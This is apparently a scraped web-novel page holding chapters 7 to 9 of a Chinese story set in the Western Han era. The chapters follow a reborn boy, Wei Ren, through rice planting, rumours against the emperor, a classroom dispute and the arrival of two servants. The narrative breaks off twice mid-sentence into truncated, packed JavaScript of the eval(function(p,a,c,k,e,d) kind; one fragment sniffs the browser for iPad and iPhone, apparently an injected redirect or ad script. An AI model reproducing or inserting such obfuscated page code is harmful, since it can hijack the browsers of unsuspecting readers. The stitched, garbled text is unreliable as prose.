戚先生有些惊讶:“今天还想给我种地?” 韦仁点头:“我今天少做一些,不会累着耽误功课。” 戚先生犹豫了一下,还是答应了:“既然如此,你去地里看看,有比较大块的土,就用铲子把土块儿敲碎。” 韦仁将袍角别进腰带,又掏出一双麂子皮的手套戴上,才拎着昨天用的木铲往菜畦里走。 戚先生看得直乐:“你准备得很齐全呐。” 韦仁得意地转转手:“阿母帮我准备的。先生,你准备种些什么呀?” “种些韭菜和菠薐,再有一些葱和胡瓜也就差不多了。” “韭菜好吃,但阿母不许我多吃,说臭。” “你家中若有牛乳或者羊乳,可以煮些来喝,能压住韭菜的味道。不过你年纪小,肠胃弱,确实不该多吃。” 韦仁和戚先生正说着话,院门处传来人声,二人闻声看过去,韦玄成正笑着看向这边,身边还站着有些垂头丧气的韦世然。 看到韦玄成,韦仁欢呼一声,扔掉铲子就冲向韦玄成,隔着五六尺远时,韦仁双脚用力一蹬,纵身跳到韦玄成怀里,特别热情地欢迎道:“阿翁,你回来啦!” 韦玄成张开手臂,不算稳当但特别熟练地接住二儿子,韦玄成伸手拍了韦仁屁股一下:“稳重些。”韦玄成转头对戚先生颔首,“五郎顽皮,让先生见笑了。” 戚先生瞟一眼韦仁的鞋子留在韦玄成外袍上的泥点子,又看一眼抱完亲爹就跳下地,头也不回重新跑回菜畦的韦仁,笑着摇摇头:“少翁是来接韦仁的?” “是,听说他在这里,就过来看看,可会打扰先生?” “自然不会。少翁若是不急,你我手谈一局如何?” “正有此意。”与戚先生寒暄完,韦玄成拍了拍韦世然的后背,“做事要有始有终,去吧。” 韦世然今天没受韦仁忽悠,不肯再来后院做农活,可惜,终是没有逃过宿命——他一走出学馆大门,就看到了韦玄成。韦玄成见韦仁不在,自然要问是怎么回事,知道始末后便把韦世然拎来了后院。 好在,敲碎土块比翻土轻松许多,而且做活时长也缩短到了两刻钟,韦世然和韦仁都不觉得太累。 在回家的路上,韦玄成问起韦仁:“你这是准备每天都去给戚先生做农活?” “嗯,毕竟要一直叨扰戚先生。” “孝顺尊长”这种理所应当的事都能说出“礼尚往来”的意味,这论迹不论心的行事风格,饶是身为韦仁阿翁的韦玄成也颇嫌弃,韦玄成调侃道:“年纪不大,心思不少,想这么多,小心长不高,你大兄在你这个年岁,比你高了半个头。” 听到韦玄成的话,韦世然挺起胸脯,睥睨地看着自家弟弟:“学馆里你最矮了。” 韦仁先是怜悯地看向韦世然,“大兄,你别高兴太早,说不定今年以后你就不长个子了。” 韦世然一愣,继而大叫:“不可能!” 韦仁不理会韦世然,而是歪头仰看着骑在马上的韦玄成,装模作样地叹口气:“我是阿翁的儿子,看见阿翁,我对长高也就不抱什么期望了。” “放——胡说八道!我身高七尺,哪里矮了?!” 一米七的身高在这时候确实不算矮,但韦仁有自己的标准,韦仁指指韦玄成身后的许靖:“许叔这样的才是伟丈夫呢。” 石大郎和许靖都在努力憋笑,全家上下也只有五郎君敢这样与家主说话了。 韦玄成若不是留的是短须,非把胡子吹飞,手里的马鞭遥遥指着韦仁:“本来给你带了好吃的,这下没了!” 听到有好吃的,韦仁的态度立马180度大转弯,各种甜言蜜语不带重样地往外蹦,这一路,差点儿隔空把韦玄成的马屁股拍肿,总算把韦玄成哄了回来。 终于,晚食时,韦仁在食案上看到一碗不同于黄澄澄的粟米饭或说好听是有嚼劲儿说难听就是不好嚼的糜子饭的、气味十分香甜的、光泽十分诱人的、颜色没有那么亮白、形状稍有残缺却也不影响其软糯甘美的、韦仁上辈子吃惯了,这辈子却连见也没见过的——大、米、饭! 7. 谣言 韦仁已经把米饭往嘴里扒的时候,韦世然还在好奇这新鲜的吃食:“阿翁,这是什么?也是饭吗?” “这是稻米,种这个需要很多水,南面比较多,北面也有,不过基本都在司隶地区。”驺县附近也不是没有水,但水利做得不好,也没人愿意冒险种些外地的品种。 韦元茹尝过大米饭,觉得还不错,便看向赵氏:“阿母,今年家里要种这个吗?”韦元茹已经开始管理亲母乔氏的产业,对每年种植的庄稼品类也是了解的,今年的种子可是已经发下去了。 赵氏也是头疼,韦玄成机缘巧合买到一批稻米,也没提前与她说,就算要种,也不知道田僮和佃户里有没有会种的。而且,家里才损失了一粮仓的粮食,赵氏不是很想冒险,但看看埋头苦吃的二儿子,又有些犹豫。 赵氏试探地问韦仁:“五郎,你喜欢这稻米?” 韦仁重重点头:“我觉得这个比粟米饭和糜子饭都好吃,粟米熬粥比较好吃,糜子磨粉蒸糖糕比较好吃。”韦仁期待地看向赵氏,“阿母,咱们能每次休沐都吃一次吗?” 哎呦,这亮晶晶的眼睛、这欣喜和期待的语气,哪个当母亲的顶得住呀? 前一刻还在想着二儿子这挑嘴的毛病是不是该改一改,后一刻,赵氏已经在心里迅速算完了账,侧头看向韦玄成:“你带回来的稻米,留下五分之一给孩子们吃,其他的拿去种,若是和粟米差不多,足够种20亩地。” 韦玄成想了想才说:“这稻米也是通过凡师兄得的,要怎么种,还得问问他,我也在讲堂找找看有没有介绍稻米的农书,再让人去田僮里问问有没有人种过。” “也好,这事你上些心,别误了农时。” 韦仁听到这里,加快咀嚼的速度,迅速将嘴里的米饭咽下,扬声与韦玄成和赵氏说:“阿翁阿母,我也想种,我自己种。” 韦玄成十分无语:“你种?你不上学了?” “我在家里种。” 只听说过在家里种菜、种树和种花的,谁会在家里种粮食啊? 想起韦仁正在帮戚先生种菜,韦玄成忖度韦仁可能就是对种东西感兴趣了,便问:“你打算怎么种?你们院子里可没有地方给你种地。” 君子院虽然不小,但中间有个沙坑,总不能把沙坑填了给韦仁种东西。就算韦仁乐意……韦玄成看向韦世然:“四郎,你想要沙坑,还是菜地?” 韦世然夹着一撮米饭正要往嘴里送,闻言,迅速放下筷子:“我要沙坑!”这沙坑还是韦仁给韦世然出得主意呢,韦世然喜欢角抵,但又怕疼,对这个沙坑简直不要太喜爱,他还推荐给了其他小伙伴,可惜,其他几家的长辈都不同意在家里弄个沙坑出来。 韦元茹觉得,君子院里有个沙土坑已经够丑的了,若再弄出一片庄稼地,那也太奇怪了。韦元茹虽未见过种在地里的稻米的样子,但想想自家院子里长了一片粟米,韦元茹就有扶额的冲动:“五郎,你若种一半不想种了,谁收拾院子?” 赵氏跟着劝:“你若想种东西,要不种些花吧?” “我想想要种什么。”全家人还来不及松口气,韦仁又说,“我在盆里种稻子,行吗?” 韦玄成和赵氏对视一眼,都觉得韦仁有点儿胡闹,没听说过在盆里种庄稼的。不过,见韦仁着实想种,二人也没再急着拒绝,反正也要问问凡愿稻米到底怎么种,到时让韦仁跟着听听,若他听完还执意要种,就让他拿盆子种呗,种死了,他也就死心了。 于是,韦玄成应承道:“下次休沐,我请你凡师伯来家里,让他给你讲讲要怎么种。” 韦仁不知道父母是等着他把庄稼种死呢,见韦玄成同意了,嘴甜道:“等我种出稻米,就给你们吃。” 因为有了期待,韦仁在休沐日拒绝韦世然去秦宁双家玩儿的邀请,就围着韦玄成和赵氏转,一会儿说他要多少个大木桶,一会儿说他要多少泥土,把夫妻二人烦得不行,只得一个安排人去找木匠给他打木桶,一个翻着韦仁那些难看的大字,指点他练字,才算让韦仁闭上嘴。 过了休沐日,等韦玄成离家去了鲁县,韦仁又开始掰着手指头盼望着韦玄成赶快把凡师伯带回来。 韦仁本来以为要再等上五日呢,结果第四天的傍晚时,他正端着一竹编簸箕的草木灰往菜畦里倒,韦玄成就来了学馆接他和韦世然回家。 不仅韦仁和韦世然觉得奇怪,连戚先生都有些疑惑韦玄成怎么这个时候回来了:“少翁这时回来,可是家中有事?” “是有事要回来一趟。”韦玄成没有避着韦仁和韦世然,声音却压低了一些,“消息还没有传到这边,听说青州那边,就连市井百姓也开始谈论……”说到这里,韦玄成的声音几不可闻,“有传闻说当今皇帝非先帝亲生子。” 戚先生震惊地张了张嘴,愣是没发出声音,半晌,才惊道:“怎么可能?!” 韦玄成没有说话,传言真假并不重要,重要的是散播这种言论的人的目的。 戚先生缓了缓神,眉头紧锁,有些迟疑地问:“会不会乱起来?” “暂时看不出来什么,家翁也未寄来只言片语,只能暂且做些准备。”韦玄成将在鲁县得到的消息尽数讲给戚先生后便拎着两个小的回了家。 韦世然和韦仁旁听了全程,韦世然感受到长辈们凝重的情绪,纵然懵懂,回家的路上也保持了沉默。 韦仁倒是听懂了,却也陷入了更深的迷茫,说现任皇帝不是前任皇帝亲生的,这明显是有人要造反啊,问题是,现在应该还没到动乱年代吧? 韦仁通过各种信息,基本确认自己处于孝武皇帝之后的年代。且不论是不是有所谓的平行时空,韦仁对历史上那个西汉的了解就是:高祖立国、文景之治,然后就是武帝,再之后就是王莽了。 从武帝到王莽这中间还有哪些皇帝,韦仁不甚明了,因为迷茫,韦仁也越发忐忑:总不会从此以后国家就会越来越乱吧? 韦仁越脑补,越伤心,突然来到这个连大米饭都是美食的时代已经够郁闷的,再来个动乱年代,他真是要抑郁了。 韦玄成领着两个蔫头耷脑的儿子回到家,把赵氏和韦元茹都吓了一跳,二人还以为是韦世然和韦仁在学馆里犯了大错,但想想,若真是这两人犯错,学馆也应先通知家里才是。 赵氏和韦元茹还疑惑着,韦玄成已经挥退家僮,这才与众人将传言的事又说了一遍。 在家人面前,韦玄成说得直白许多:“先帝共育有六子,尚存于世的还有燕王和广陵王,这二人是同胞兄弟,再有就是皇帝。皇帝乃先帝幺子,据说尚未至幼学。”正所谓“主少国疑,百姓不信”,韦玄成也不明白先帝为何要立幼子,但有一点可以肯定,“无论这些言论是从哪里传出来的,无外乎是有人有所图谋。” “阿郎,你是说,那些谣言是燕王或者广陵王散播的?” “只是一种猜测,也不排除是其他宗室,别忘了咱们这里也有一位鲁王呢。”韦玄成不认为鲁王想当皇帝,毕竟鲁王与皇帝的关系已经很远了,怕就怕鲁王会掺和进去,燕王的封地距离齐国不近,现在那边已经谣言漫天,而齐国距离鲁国可比齐国距离燕国近多了,韦玄成着实担忧。 赵氏平日刚强,但说到造反的事也不免心慌,赵氏抚着肚子喃喃:“这可如何是好?” 韦玄成忙握住赵氏的手,安抚道:“虑事自然要往最坏里想,我回来可不是为了吓你和孩子们的,只是既已听得传言,最好做些准备。” 赵氏眼神仍是不定,只顺着韦玄成的话问:“什么准备?” “第一点是粮食,那些陈粮暂时不要卖了,我安排人将鲁县粮仓的粮食运回来,你在家里存一些,再存一部分到新聚去。第二,看好门户,夜间注意巡逻。我给二娘选的人过几日就能到家,他们武艺不错,加上许靖,可以组织家僮学些武艺。第三,采购药材……” 随着韦玄成将要做的事一一说明,赵氏的慌乱被逐渐抹平:“好,我记下了。” 韦玄成拍拍赵氏的手:“别怕,有我在呢。” 赵氏有些赧然,却没有把手抽回来,只轻咳一声,看向三个或望天或看地的孩子:“你们三个最近要乖一些,特别是四郎和五郎,以后放学要直接回家,可不能到处乱跑,知道吗?” 韦元茹的心情有些复杂,她想起了还关在柴房的周大亮和曹九,前几天曹氏偷偷托人来求她,她还有几分不忍,现在想到那些霉掉的粮食,韦元茹可惜的同时也真是厌恶透了周曹二人的行径——若是真的乱起来,那些粮食不知道能保多少人不饿肚子。 暂时丢开那些思虑,韦元茹很快应道:“阿母,我能给你帮忙,你不要太劳累。” 韦世然对“造反”没什么概念,尽管听了许多,仍然搞不懂这事到底有多严重。 韦玄成察觉到大儿子的茫然,又看了看若有所思的二儿子,缓和了颜色,问道:“我说的话,你们可听懂了?” 韦玄成与两个儿子的关系一向很好,韦世然见韦玄成问了,便将自己的疑惑一一问出来:“阿翁,皇帝若不是先帝亲生的,他怎么能当皇帝呢?为什么两位王要说皇帝不是先帝亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我打不过孙赏啊。”韦世然理所当然地说,挠挠脸,补充道,“呃……如果秦宁双被打得很惨,我还是要帮他的。” 韦仁有些怀疑,不过还是说:“你和秦宁双是好朋友,哪怕你不打算帮他一起打孙赏,但你站的只要离秦宁双近一些,孙赏是不是会想,你准备帮秦宁双一起打他?” 韦世然想了想,肯定地点点头:“会。” 韦仁两只小手一拍复一摊:“课室是整个天下,皇帝和二王是抢坐席的人,我们就是倒霉地站在他们周围的人,为了不被误伤,所以要提前做好准备。” “原来是这样。”韦世然明白了,忍不住抱怨,“真是的,好好坐在先生给我们安排好的位置上不好吗?先生都说,我们能来上学已经比其他人幸运了。” 韦仁提醒:“大兄,我是打比方,抢东西的是先帝的儿子们,不是秦宁双和孙赏。” “我知道,我就是觉得,他们都是王了还不满足,太贪心了。” 韦仁很赞同:“贪心的人没有好下场。” 围观兄弟二人的赵氏十分骄傲于大儿子的胸襟和小儿子的聪慧。 韦元茹则感叹,开窍晚是不是就比开窍早的人聪明?看看家里的两个弟弟,韦元茹总怀疑,若是哪一天五郎把四郎卖了,四郎还得帮五郎数钱呐。 韦玄成则有些无奈,如今看,身为次子的韦仁的资质要优于身为长子的韦世然,联想到传言一事,韦玄成也不免忧虑,有朝一日自己的孩子会不会也因为这点儿家业反目。想至此,韦玄成更加期盼妻子这次一定要生个闺女! 轻咳一声,按捺下这些胡思乱想,韦玄成说起眼前的事:“差不多就是这个意思。总之,这些话在家里说说就罢了,不许到外面说,以后若有其他人当着你们的面议论此事,你们只当听不懂,不要插言。” 韦世然很懂事地点点头:“我每天和五郎一起回来。”韦世然看看韦仁,想到一事,直接帮韦仁问道,“五郎还要帮戚先生种地吗?” 韦仁也没经历过这种事,不好衡量事情到底有多严重,便也看向韦玄成。 “去吧。”韦玄成看着韦世然和韦仁,声音平和,“该怎样生活还怎样生活,让你们听这些是告诉你们以后行事要更加谨慎,不是让你们畏首畏尾的。” 韦世然和韦仁恭身应是。 韦元茹这时开口,问道:“阿翁,这事是不是也要告知亲族?” “自然,已经派人去通知了,我一会儿就要去你们二叔公那里。”见韦元茹欲言又止的样子,韦玄成不免感慨,生闺女也有不好的地方——女生外向啊,韦玄成的语气不免酸溜溜的,“放心吧,李家的消息比我灵通,这事最早还是你李伯父派李四郎与我说的。” 韦元茹登时闹了个大红脸。 韦玄成见状哈哈大笑。 没见谁家做阿翁的会这样调侃女儿,赵氏忍不住白了丈夫一眼,又有些可惜地想:阿郎刚刚那沉稳有度的样子多有魅力啊,结果这才多一会儿又变回原形了,就不能多保持一会儿吗? 8. 鼻涕虫 韦玄成只在家里待了一晚,第二日城门开时便已经骑马离开,韦玄成这一走,直到第二个休沐日才重新归家。 这期间,除了家里人格外忙碌些,韦仁的生活依然平静,就连街面上也没有什么所谓的谣言传出来,韦仁原本绷着的神经放松不少,还帮梅乘整理赵氏买回来的药材。 直到有一日,驺县最大的几间商铺外不知何时被人贴了白色绢布,绢布上用鲜红的颜料写着“皇帝非先帝亲子”、“皇帝是朝廷里的奸臣擅自立的”的事。 这几家店铺的掌柜在看到绢布上写的字后,险些当场飞升,一边安排伙计驱散围观人群,一边将绢布揭下来。有性子急的,直接把绢布扔灶台里烧了,也有心态够稳,身后有人撑腰的,揣了绢布去找背后东家。 衙署内的孙县长恼恨非常,他得到消息不比韦玄成晚,也做了相应安排,最关注的就是县城内的治安,千叮咛万嘱咐一定要加紧巡视,没想到还是让人钻了空子。 孙县长把县尉臭骂了一顿,让他去平息谣言,该解释的解释、该查索的查索,又派人去请县城内的大商家,准备提前敲打一下众人,免得他们趁机哄抬物价。 驺县的气氛一下子紧张起来,县城内仿佛一夜之间冷清下来,即便有人经过街道,那落下去的脚步比起往日也要轻上几分。不可思议的是,县城内每个角落又仿佛都有人在谈论那些传言,上至官员下至乞儿,对皇帝家的事都有自己的见解。 就连学馆里尚未成年的学生们也无心学习,哪怕戚先生严厉禁止大家议论此事,学生们仍然在私下里偷偷讨论60岁的男人到底能不能生娃娃的问题——托谣言的福,许多人第一次知道,原来皇帝是先帝六十多岁生的孩子,如今还不满十岁! 这个话题让熊大宝同学做了一次焦点,因为他就是老来子,他是熊父54岁时生的孩子。 熊父虽然没有先帝厉害,但也很了不起的样子——在这个时代,能活到七十岁就是天选之子,六十岁以上的老人怎么也算是天选之子的后备役了,更别提还能成功孕育子嗣。就算是韦家这种不愁吃穿的人家,目前年龄在六十岁以上的也只有一个二叔公而已。 当然,也不是所有人都这样想,围成一群的学生堆里,也不知道是谁,扑哧笑出声:“是不是因为年纪大了,身体不好,才生出鼻涕虫的?” 这话甚是恶毒,听着却又有几分道理,再加上那个“鼻涕虫”,不少人大感认同,只是有含蓄点头的,有低头憋笑的,也有明目张胆大笑附和的。 熊大宝只是随大流讲了自己是父亲几岁生的,没想到因此被人揪住话头,偏他的鼻涕这时候也凑热闹似地流下来,熊大宝习惯性地用力吸鼻子,发出的声响引得原本没笑的人也开始笑。 卫询见熊大宝满脸通红,有些可怜他,便出声为熊大宝说话:“这有什么可笑的,先生说了,因别人生病嘲笑别人不是君子所为。” 这番话赢得部分人的认可,笑声低了一些,但也有不以为然的。 孙赏就有自己的看法:“嘲笑同窗是不对,熊大宝这样不停流鼻涕吸鼻涕,看得人恶……难受,他就一点儿错没有了?” “你吃饭时我也没见你说难受!” “那是他家的菜足够好吃,但这不表示我不难受!而且,既然是病就该好好医治,我不信熊大宝自己就不难受!” 双方互不相让,竟围绕着这两个观点辩了起来。 韦仁转头看向一直安静做猹的韦世然,问道:“大兄,刚刚说‘鼻涕虫’的人是戚丰吗?”韦仁只是听声音觉得像,也不敢确定。 韦世然正看得津津有味,被韦仁揪了一下,才侧过头来回答:“是戚丰吧,他的声音最近突然变得尖尖的,以前不那样。” 秦宁双就在韦世然旁边,闻言也转过头来,问:“戚丰怎么了?” 秦宁双嗓门不小,刚好辩论的双方此时都没有说话,秦宁双的话吸引了众人的注意。 戚丰也看过来,问:“我怎么了?”他除了最开始那句话,后面也在安静做猹,不知道话题怎么落到自己身上了。 戚丰问的是秦宁双,秦宁双示意他也在等韦世然的回答,韦世然伸出手指戳戳自家弟弟:“你说戚丰怎么了?” 韦仁虽然入学有一阵子了,但和同窗们交流甚少,此时被看着,韦仁也不怯,对着戚丰确认道:“‘因为年纪大了,才生出鼻涕虫’这话是你说的?” 韦仁的语气特别淡,不知道其他人感觉如何,那软糯的声音听在戚丰耳中十分不舒服,戚丰不自觉蹙起眉头,反问:“是又怎样?” “是的话……你就有大麻烦了。”韦仁耸着两道淡淡的眉毛,特别做作地摇头道,“唉,真替令尊令堂伤心呀。” 戚丰被说得莫名其妙,一时也没想好如何作答,最终只憋出一句:“你胡说八道什么?” 孙赏是个爽快人,他虽然不完全赞同戚丰的话,但戚丰是他“罩”的,孙赏自觉韦仁的话有挑衅到自己,代替戚丰出言诘问:“你想说什么就直说,戚丰能有什么麻烦?” “皇帝可是先帝六十多岁生的,他那话嘲讽的可不止熊大宝和熊大宝的父亲,连同先帝和皇帝也被他骂进去了。真有人计较的话,挨板子都是轻的。”韦仁在颈间划了划,对戚丰吐出五个字,“大不敬,当斩。” 十一岁的孩子已经晓得世情,何况孙赏他爹还是县长,孙赏自然明白韦仁这话不假。 戚丰被韦仁吓得小脸苍白,强撑着口气回嘴道:“我、我没那个意思,你别乱说!” 韦仁扬起下巴,竖着食指点点自己的嘴唇:“先管好你的嘴吧。” 韦仁的表情配上他说的话,把戚丰气得脸色由白转红,韦世然看得怪不落忍的,扯扯韦仁的袖子:“你别吓唬他了。” 戚丰除了嘴巴坏一点儿,对孙赏狗腿一点儿外没什么其他讨人厌的地方,何况他们午休时还要一起玩耍,韦世然不想大家的关系变得太僵,便替戚丰找补了一句:“至少他胆子很大呀。”皇帝对于韦世然是很遥远的存在,但他明白皇帝是最尊贵的人,比他们鲁国的鲁孝王还要尊贵,而戚丰竟然敢说他的坏话! 韦仁承认:“傻大胆嘛。” 头上忽然罩下一片阴影,韦仁的脑瓜顶被一只大手按住:“你的胆子也不小,什么话都敢往外说。” 韦世然被吓了一跳,韦仁也扬起脑袋,对上戚先生的视线,韦仁十分坦然:“先生,我不觉得我说错了。” “先生也没说你说错了,只是,你们都还小,朝廷的事不是你们现在该议论的。”戚先生指指戚丰,又点了几个刚刚辩论得十分活跃的学生:“你们随我出来。” 逃过一劫的人全以最快的速度窜回自己的座位,韦仁也回了自己的坐席。 熊大宝同样坐回自己的坐席,神情没有之前八卦时那么灵动,但除此以外也没有更多外露的情绪。 韦仁有些意外:“我还以为你被那样说会生气或者哭呢。” “先生已经罚他们了。” 韦仁没想到是这个原因,一时没忍住,扑哧就乐出了声。 熊大宝以为韦仁在笑他,刚刚的经历毕竟不是什么愉快的事,熊大宝没好气地瘪嘴:“你也笑我?” “没有,就是觉得你这么想挺好的。” 熊大宝的心情好了些,心头不免也涌上一点儿委屈:“我看过大夫的,阿母给我找过三个大夫,我吃了好多药,一点儿不管用。” 以这个时代的大夫数量而言,这个数字已经不少了,看来熊大宝家确实有尽力为他医治过。 “我家有个大夫,医术还不错,你家里人若是愿意,我可以帮你问问他。” 熊大宝很心动,不过想起以往白吃过的那些药,不免又有些丧气,问道:“他能治好我吗?” “没有大夫会保证一定能治好病人的病的。”韦仁拉起熊大宝的手腕,细细听了一会儿,换了手继续听 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“不着急,我先问问梅先生。” “你别忘了啊。” “不会忘的。”韦仁想了想,又补充道,“不过最近不行,梅先生最近很忙。”不止梅先生,韦家的大人们都很忙,韦仁也不想这个时候给他们添乱,最重要的是,熊大宝这个不是急症,等等就等等吧,韦仁不甚厚道地想。 韦仁吃了几天内容相似的瓜,唯一新鲜的消息不过是说皇帝是其母怀孕14个月生下的,传消息的人大概想说这情况明显不对,但普通百姓对此事却并没有质疑,相反,大家都觉得这是理所应当的,皇帝受命于天,有些奇异的地方才对嘛。 当然,除了这些源头信息,其他各种离谱的传言就没断过,韦仁无语的同时,对于造反的消息已经从担忧转变成麻木,韦玄成这时也终于归家,还带了三个人回来。 韦仁最先见到的是师伯凡愿,凡愿来韦家自然是受韦玄成之托,给众人,主要是韦仁,讲一讲稻子是如何种的。 韦仁看得出来,凡愿对于农事十分感兴趣,这在读书人中间不算多见,但也不算稀奇。这时候的读书人很少有只研读经典的,大多都有自己的兴趣爱好——不是那种随便消遣的爱好,是会用心钻研的那种。比如韦玄成,除了写诗外,韦玄成还偏爱音律,会亲手制琴。 凡愿谈起种植来也是滔滔不绝,并不因为韦仁年纪小就敷衍他,而且凡愿十分细心,不仅讲述了稻子的种植方法,还提前将注意事项记在竹简上,以防韦仁忘记。除此以外,他还特地选了一些更加饱满的稻种送给韦仁,并承诺,若韦仁遇到不解的地方,可以通过韦玄成给他带信。 韦仁很感激凡师伯,也颇为惊讶,偷偷问韦玄成:“阿翁,今年还可以种稻子吗?”万一以后真的打仗,粮食是很重要的,拨出土地来种不知道能不能种好的稻子是个很冒险的举动。 韦仁将自己的担忧说出来,并表明,自己没有大米饭也可以活得好好的。 韦玄成哭笑不得之余也很欣慰二儿子的懂事,韦玄成摸着韦仁的头:“今年家里不种稻子,不过,你在院子里种几桶还是没问题的。” 韦仁很感动,搂着韦玄成的脖子对他承诺:“阿翁,等我种出稻米,第一碗就给你吃。” “那说好了,既然你决定要种,就不能半途丢开手。” 韦仁拍着胸脯保证:“放心吧。” 凡愿只在韦家留宿一宿就启程回去曹县,韦玄成带回来的另外两个人则是要常住韦家的——这二人是韦玄成雇来的僮仆,签了十年僮约。 韦玄成以外的韦家人打量站在正堂中央的姊弟时,神色中都带着一丝惊讶。不是因为据说身手很不错的二人实在很年轻——一个20岁,一个13岁,而是,嗯,说得直白些,这二人,一个毁容,一个哑巴。 9. 决明 沈常节带着沈决明对韦家众人叩拜后,赵氏问了姊弟二人一些基本信息,例如老家在哪里、是否识字之类的。这些信息韦玄成已经告诉过赵氏,赵氏现在问起来,主要是想亲自看看沈家姊弟的言行举止。 因为初来乍到,沈家姊弟稍显局促,但总体而言还算大方。特别是沈常节,她对自己脸颊上的伤并不避言,被问起时,直接说是在矿场时,有人对她图谋不轨,她自己划的。 在看过沈家姊弟在一盏茶的时间内将两个高壮的家僮打倒后,赵氏点点头:“沈常节,以后你跟在二娘身边,沈决明先去君子院吧。”说完,赵氏就让他们各自退下了。 等人全都离开后,韦玄成才问赵氏:“怎么了?我看你对沈家姊弟有疑虑的样子。” “也不是……就是,我看他们两个不似亲近,你不是说他们家里的人都死在了铁官厂里,只有姊弟二人相依为命吗?” “夫人慧眼。” 赵氏瞪韦玄成:“我和你说正事呢。” 韦玄成迅速收敛表情,一本正经地解释道:“相依为命是真,不算亲近也是真。沈常节是嫡女,沈决明是庶子。”在赵氏似有所觉的神色中,韦玄成又补了一句,“沈决明的哑症不是天生的……应与他的嫡母有关。” “什么?”赵氏先惊后怒,揪住韦玄成的手臂狠狠掐了一把,“这样人家的孩子,你怎么敢收?!” 赵氏只知征和二年沈家家主被兄弟牵连获罪,家小被发配到铁官厂做奴隶。赵氏可以接受雇佣曾经的罪奴来做家僮,但绝不愿意让一个给庶子下毒的女人的女儿来给韦元茹做僮使。 韦玄成“嘶嘶”两声,连忙告饶:“夫人,手下留情!你听我解释!” 赵氏松开手,韦玄成一边揉胳膊,一边说:“矿场爆发了一场暴乱,暴乱时,沈决明为护其姊差点儿连命都丢掉。破奴带人去解决,事后发现沈家姊弟在去年大赦的范围内,只是沈常节得罪了铁官厂的吏员,名字没被报上去。二人也算因祸得福,这才能离开矿场。”李破奴是临朐县的县尉,他的儿子李四郎,就是韦元茹未来的丈夫。 韦玄成感慨:“破奴曾与沈家家主打过交道,便帮忙安置了姊弟二人。沈常节不愿成亲,也不想过多亏欠破奴,她虽身负武艺,曾经是罪奴,不愿意卖身,又是个女娘,这样的条件哪里有人愿意雇她?” 赵氏瞥韦玄成:“哪里没有,你不就愿意?” 韦玄成讪笑,语气却是认真的:“矿场生乱时,沈决明能拼命护姊,事后沈常节没有撇下年幼重伤的弟弟,也没有顺势攀附李家,反而努力寻求出路。我不想评论已逝之人的品行,只是,目前来看,沈家姊弟的能力、心性和品行都不错。” 赵氏听着韦玄成的话,总觉得自己还疏忽了什么,一时又没什么头绪,便没再深究:“两个孩子也是可怜,便先留下吧。”赵氏揉揉额头,“二娘有成算,沈常节跟在她身边我还算放心,只是,沈决明不会说话,让他做些跑腿儿传话的事都不方便……暂且让他在君子院里做些杂事,我再看看。” 韦玄成没有反对,他这次雇人主要也是给韦元茹选贴身保护她的僮使,至于沈决明,纯粹是买一送一的那个附赠品:“你不是想让石大郎家的石岩跟在四郎身边吗?五郎年纪小,但也已经进学,若他以后去同窗家做客,也不好没人跟着,到时候让沈决明跟着就是。” 此时,韦玄成心中的附赠品正被他的两个儿子围观。 韦世然看着瘦弱得仿佛一阵风就能吹倒的沈决明:“你怎么那么厉害?连三禾都打不过你。” 在韦世然的世界里,成年人比少年人强大是应该的,比如,秦宁双打不过卫询他二兄,但韦世然依然认为秦宁双不比卫二郎差,他坚信,等秦宁双长大,一定会比卫二郎厉害。 沈决明打破了这种思维,韦世然对他很好奇,一指院子里的沙坑,邀请道:“你和我比一场。” 面对韦世然的邀请,沈决明没有表现出太多情绪,嘴角却是绷紧的。 韦世然等沈决明答话,半天没听到回应,慢了一拍才反应过来,“啊”了一声:“我忘了,你不会说话。”韦世然很烦恼,看向韦仁,“他没法说话,怎么办呀?” “沈常节说他会写字的。”幸亏沈决明还能听,不然交流真是个大问题,韦仁看向沈决明,“你要说什么,在沙坑里划字。” 沈决明便走到沙坑里,半蹲着开始划字:“我不能和两位郎君动手。” 韦世然逐字看过去,不在乎地一挥手:“没事儿,这是比试。”想了想又补了一句,“就算你赢我,我也不会生气。” 沈决明摇摇头,在之前“我不能”的三个字下面划了一下,表示自己的意思。 “我都说可以了。”韦世然跳进沙坑,划了一个大大的圆圈,“我们这边的规矩,摔出圆圈的人就输,来吧!” 沈决明仍然摇头,大概是为了表示自己的坚决,沈决明干脆起身走出了沙坑。 韦世然平时还算讲道理,但一再被沈决明拒绝,他也不高兴了:“你是我阿翁带回来的僮人,你怎么连我的话都不听?” 韦世然这话已经很重了,沈决明却没有听话地走下沙坑,反而双膝一曲,朝着韦世然的方向跪了下去。 韦世然:…… 在旁围观的韦仁也是讶然:这么刚的吗? 刚才看沈决明制服三禾时,很有种高手的气质,韦仁其实还想问问沈决明会不会飞檐走壁啥的,见他如此,只得打消念头。 气氛一时有些僵硬,沈决明虽然跪趴着,那单薄的背脊却在无声表示:随便你打骂,但我就是不和你角抵。 韦世然要是那种你不听话我就打你的熊孩子,气氛也就不会僵硬了,但他也拉不下脸主动与一个和自己对着干的家僮说话。 最后还是韦仁打破沉默,试探地问道:“沈决明,是不是有人告诉你,无论发生任何事,都不许和我们打架?” 沈决明没有抬头,但轻轻点了下头。 韦世然十分扫兴,扬脚把自己划出的圆圈扫出一个缺口:“我都说了不是打架。” “大兄,你说了不算。”韦仁摊手,“你得去问问阿翁,不,还是问阿母吧,能不能让沈决明和你角抵。” 韦世然看一眼没比自己大几岁的沈决明,丧气道:“阿母肯定不同意,他还没长胡子呢。”家里会陪韦世然角抵的人不少,但一般都是成年人,韦世然不知道为什么,但他有自己判断的办法。 韦世然的话在韦仁的脑子里转了一圈儿,韦仁才想明白,之前没注意过这方面的事,被韦世然提起,韦仁才意识到不同年纪的家僮对陪韦世然角抵这事的态度差异来。 韦仁一边感叹赵氏的细心,一边问韦世然:“你真想和沈决明角抵?” “我想有什么用,他又不肯。” 韦仁走到韦世然身边,踮起脚尖趴在韦世然耳边提醒:“你换个问法,说是让沈决明教你角抵。” 韦世然眼睛一亮,转身就往正院跑,中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 